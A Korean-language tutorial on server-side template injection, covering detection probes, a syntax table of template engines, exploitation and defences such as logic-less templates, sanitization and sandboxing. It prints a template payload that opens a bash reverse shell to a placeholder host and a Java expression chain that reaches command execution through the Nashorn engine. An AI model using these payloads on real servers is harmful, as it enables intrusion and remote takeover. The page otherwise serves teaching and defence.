SSTI Attack

Introduction

SSTI(Server-Side Template Injection)은 공격자가 Template 코드를 기존 template에 include 시켜서 원하는 액션을 수행하도록 하는 공격입니다. 이 때 template injection이 발생하는 위치가 server-side인 경우 SSTI라고 부릅니다.

SSTI가 발생하는 경우 Server-Side의 렌더링에 관여할 수 있기 때문에 단순하게는 Client-Side의 취약점들(XSS,CSRF 등) 뿐만 아니라 Server-Side의 취약점들(RCE,SSRF)로도 연결할 수 있어서 리스크가 높습니다.

{{ config['RUNCMD']('/bin/bash -c "/bin/bash -i >& /dev/tcp/x.x.x.x/8000 0>&1"',shell=True) }}

Offensive techniques

Detect

Server-Side Template Engine은 언어, 프레임워크 등에 따라 굉장히 종류가 많습니다. 이에 따라서 Template 문법이 다르기 때문에 백엔드 시스템에 대한 정보가 없다면 여러 가지 Template 문법을 삽입하여 Return 되는 결과를 체크해야 합니다.

일반적으로 숫자 계산을 통해 체크하는 형태를 많이 사용합니다.

GET /test?q=abcd${412*343}efgh HTTP/1.1

미취약

abcd${412*343}efgh

취약

abcd141316efgh

다만 케이스가 굉장히 많기 때문에 보통 Ployglot payload나 Fuzzing을 통해 테스트합니다. Template 문법 별 언어 패턴은 아래와 같습니다.

@( )
- ASP.NET Razor

#{ }
- Expression Language
- Freemarker
- Ruby (Slim)
- Jade
- Codepen

${ }
- Expression Language (+JavaEL)
- Freemarker
- Java

{{ }}
- Java
- Jinja
- Jinjava
- Pebble
- Twig
- Handlebars

[[ ]]
- Jinja2

{1+2}
- Smarty

<%= %> or <% %>
- Ruby (ERB)
- Mako

#
- Velocity (e.g: #set)

@
- Lessjs (css 문법으로 대부분 사용 가능합니다. e.g: @import / @plugin)

이외에도 여기 나열되지 않은 Template engine에서 사용하는 문법이 존재할 수 있기 때문에 아래와 같이 Template 으로 사용될 수 있는 expression 들은 테스트해보시는 것을 추천드립니다.

{var} ${var} {{var}} <%var%> [% var %]

Exploitation

Payloads

SSTI는 Server-Side Rendering에 관여할 수 있기 때문에 Server-Side 기반의 Exploiting 과정을 사용할 수 있습니다. 보편적으로 RCE(Code Execution), SSRF, 그리고 시스템 파일을 읽는 형태로 Payload를 구성할 수 있습니다.

페이로드 종류도 워낙 많고 추가/변동되는 경우도 있어서 제가 관리하는 것보단 아래 링크들을 참고하시는게 좋을 것 같습니다.

  • https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection
  • https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt

그리고 이러한 부분은 Injection 포인트를 찾았다면 도구들을 이용해서 테스트하시는 것을 추천드려요. (SQLi 같이 테스트를 위해선 쿼리가 많이 필요하기 때문이죠)

SSTI to RCE

SSTI에 성공했다고 모두 RCE가 가능한 것은 아닙니다. 해당 Application 에서 사용할 수 있는 Object 따라서, 또는 보호 로직이 있는 경우 일반적으로 알려진 코드를 실행할 수 없기 때문에 SSTI를 탐지했다면 Exploit 하기 위한 추가 테스팅 과정이 필요합니다.

간단한 방법으론 반복적으로 요청을 보내보면서 Template 문법이 처리되는 Object를 찾고, 이를 기반으로 공격코드를 만드는 형태로 RCE까지 발전시킬 수 있습니다. getClass forName과 Array 등을 이용하여 사용 가능한 Object를 탐색합니다.

예를들어 nashorn 엔진을 쓸 수 있는지 체크하려면 아래와 같이 순차적으로 확장하면서 허용 가능한 부분이 어디까지인지 체크하면 됩니다.

${4*4}
${''.getClass()}
${''.getClass().forName('javax.script.ScriptEngineManager')}
${''.getClass().forName('javax.script.ScriptEngineManager').newInstance()}
${''.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('js')}

각각 코드에 따른 object나 function, class 등이 리턴되며 마지막 라인까지 확인하면 아래와 같이 NashornScriptEngine을 쓸 수 있는 것을 확인할 수 있습니다.

jdk.nashorn.api.scripting.NashornScriptEngine@d314a00

이제 이를 기반(nashorn 문법)으로 코드를 작성하면 SSTI를 통해 서버에서 명령을 실행할 수 있습니다.

${''.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('js').eval('java.lang.Runtime.getRuntime().exec("ifconfig")')}

Defensive techniques

SSTI는 대다수 Injection 공격과 동일하게 Sanitization, Sandboxing, Input validation을 다중으로 적용하는 것이 가장 좋은 형태의 대응방안이고 어려운 경우 한가지의 대응을 꼼꼼하게 처리하는 방식으로 완화가 가능합니다. 또한 Injection 계통 처리 시 Input Type을 명시(e.g page 파라미터는 int 값만 받도록 처리)하는 형태와 같이 딱 필요한 목적의 데이터만 사용될 수 있도록 제한하는 형태도 좋은 대응방안 중 하나입니다. (아래 내용 중 Logic-less에 해당)

Logic-Less

Template을 사용 시 Logic에 대한 처리가 필요하지 않는다면 Logic-less template 사용으로 쉽게 SSTI를 방지할 수 있습니다. 대표적으로 Jekyll에서 사용되는 Liquid나 Handlebars, Mustache 등이 있습니다.

Sanitization

사용자 입력으로 부터 Template을 생성하지 않도록 처리해야합니다. 사용자 입력이 필요한 경우 Template 자체에서 제공하는 Parameter를 통해 받아 처리하도록 구성하여 Template 자체에 영향을 줄 수 없도록 제한해야 합니다.

Input Validation

마지막으로 사용자 입력에서 { } [ ] 과 같은 특수문자 자체를 받지 못하도록 Escape 처리하는 로직을 적용하여 대응할 수 있습니다. 이는 일부 XSS, SQLi에서 대응하는 방식과 동일합니다.

{ }
[ ]
< >
%
#
@

등

Sandboxing

사용자 입력 값을 기반으로 Template을 생성하고 렌더링해야 하는 경우 어쩔 수 없이 사용자 입력으로 Template을 처리할 수 밖에 없습니다. 이 때 사용자 입력으로 부터 받는 Template은 Sandboxing 하여 공격코드가 실제로 영향을 끼칠 수 없도록 제한하는 방법으로도 대응할 수 있습니다.

다만 Sandboxing의 경우 우회할 여지가 충분히 있기 때문에 가급적 단독으로 사용하는 것 보단 위 2개와 혼용하여 사용하는 것을 추천드립니다.

Tools

Articles

References

  • https://portswigger.net/web-security/server-side-template-injection
  • https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/07-Input_Validation_Testing/18-Testing_for_Server_Side_Template_Injection
  • https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt